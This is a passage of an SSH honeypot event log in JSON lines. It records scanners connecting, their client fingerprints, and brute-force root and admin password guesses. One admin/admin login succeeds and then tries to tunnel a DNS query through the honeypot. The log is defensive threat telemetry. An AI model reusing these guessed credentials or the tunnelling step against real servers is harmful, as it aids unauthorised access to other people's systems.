com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:51.201127Z","src_ip":"192.169.243.246","session":"66d56e61d06d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baikal","message":"login attempt [root/baikal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:51.535490Z","src_ip":"192.169.243.246","session":"66d56e61d06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:52.610590Z","src_ip":"192.169.243.246","session":"66d56e61d06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:54.396519Z","src_ip":"46.19.67.181","session":"217a364ef1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48814,"dst_ip":"10.17.0.5","dst_port":22,"session":"4444ad5c0b1f","protocol":"ssh","message":"New connection: 37.143.61.84:48814 (10.17.0.5:22) [session: 4444ad5c0b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:57.007151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:57.017078Z","src_ip":"37.143.61.84","session":"4444ad5c0b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:57.402642Z","src_ip":"37.143.61.84","session":"4444ad5c0b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9874","message":"login attempt [root/9874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:57.899785Z","src_ip":"37.143.61.84","session":"4444ad5c0b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:59.005504Z","src_ip":"37.143.61.84","session":"4444ad5c0b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":37318,"dst_ip":"10.17.0.5","dst_port":22,"session":"3157c41cbc4b","protocol":"ssh","message":"New connection: 43.228.112.254:37318 (10.17.0.5:22) [session: 3157c41cbc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:03.627466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:03.633114Z","src_ip":"43.228.112.254","session":"3157c41cbc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:03.840924Z","src_ip":"43.228.112.254","session":"3157c41cbc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2welcome","message":"login attempt [root/2welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:04.725065Z","src_ip":"43.228.112.254","session":"3157c41cbc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:05.942634Z","src_ip":"43.228.112.254","session":"3157c41cbc4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":50288,"dst_ip":"10.17.0.5","dst_port":22,"session":"f73110738944","protocol":"ssh","message":"New connection: 193.37.70.224:50288 (10.17.0.5:22) [session: f73110738944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:30.957132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:31.171023Z","src_ip":"193.37.70.224","session":"f73110738944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:31.175624Z","src_ip":"193.37.70.224","session":"f73110738944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trololo","message":"login attempt [root/trololo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:31.580649Z","src_ip":"193.37.70.224","session":"f73110738944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:32.673389Z","src_ip":"193.37.70.224","session":"f73110738944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61282,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf25478ae203","protocol":"ssh","message":"New connection: 87.251.64.176:61282 (10.17.0.5:22) [session: cf25478ae203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.021168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.026384Z","src_ip":"87.251.64.176","session":"cf25478ae203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60014,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ee3f0808ae3","protocol":"ssh","message":"New connection: 103.149.170.125:60014 (10.17.0.5:22) [session: 0ee3f0808ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.115055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.119904Z","src_ip":"103.149.170.125","session":"0ee3f0808ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.124550Z","src_ip":"87.251.64.176","session":"cf25478ae203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.379859Z","src_ip":"103.149.170.125","session":"0ee3f0808ae3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.413185Z","src_ip":"87.251.64.176","session":"cf25478ae203","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.516725Z","session":"cf25478ae203","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.615118Z","src_ip":"87.251.64.176","session":"cf25478ae203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:48.714861Z","src_ip":"87.251.64.176","session":"cf25478ae203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwor","message":"login attempt [root/passwor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:49.157272Z","src_ip":"103.149.170.125","session":"0ee3f0808ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:47:50.420918Z","src_ip":"103.149.170.125","session":"0ee3f0808ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":41258,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b044ce7df2f","protocol":"ssh","message":"New connection: 139.19.117.129:41258 (159.203.135.109:22) [session: 2b044ce7df2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:00.752270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:00.757128Z","src_ip":"139.19.117.129","session":"2b044ce7df2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:00.853698Z","src_ip":"139.19.117.129","session":"2b044ce7df2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:a1:79:cd:48:af:ba:4f:0b:ad:05:95:e7:a5:6f:ba","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPHzdNlwPXB6eFWisaAjjmNgHrmZWlAuNAg6eenQIDzX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 08:a1:79:cd:48:af:ba:4f:0b:ad:05:95:e7:a5:6f:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:01.051282Z","src_ip":"139.19.117.129","session":"2b044ce7df2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:a1:79:cd:48:af:ba:4f:0b:ad:05:95:e7:a5:6f:ba","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPHzdNlwPXB6eFWisaAjjmNgHrmZWlAuNAg6eenQIDzX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:01.055669Z","src_ip":"139.19.117.129","session":"2b044ce7df2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":38198,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab387905d69","protocol":"ssh","message":"New connection: 192.169.243.246:38198 (10.17.0.5:22) [session: 4ab387905d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:02.018708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:02.026470Z","src_ip":"192.169.243.246","session":"4ab387905d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:02.106827Z","src_ip":"192.169.243.246","session":"4ab387905d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deployerpass","message":"login attempt [root/deployerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:02.429634Z","src_ip":"192.169.243.246","session":"4ab387905d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":37900,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2db02b726d","protocol":"ssh","message":"New connection: 43.156.136.152:37900 (10.17.0.5:22) [session: ad2db02b726d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:03.282687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:03.289259Z","src_ip":"43.156.136.152","session":"ad2db02b726d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:48:03.504937Z","src_ip":"192.169.243.246","session":"4ab387905d69","protocol":"ssh"}
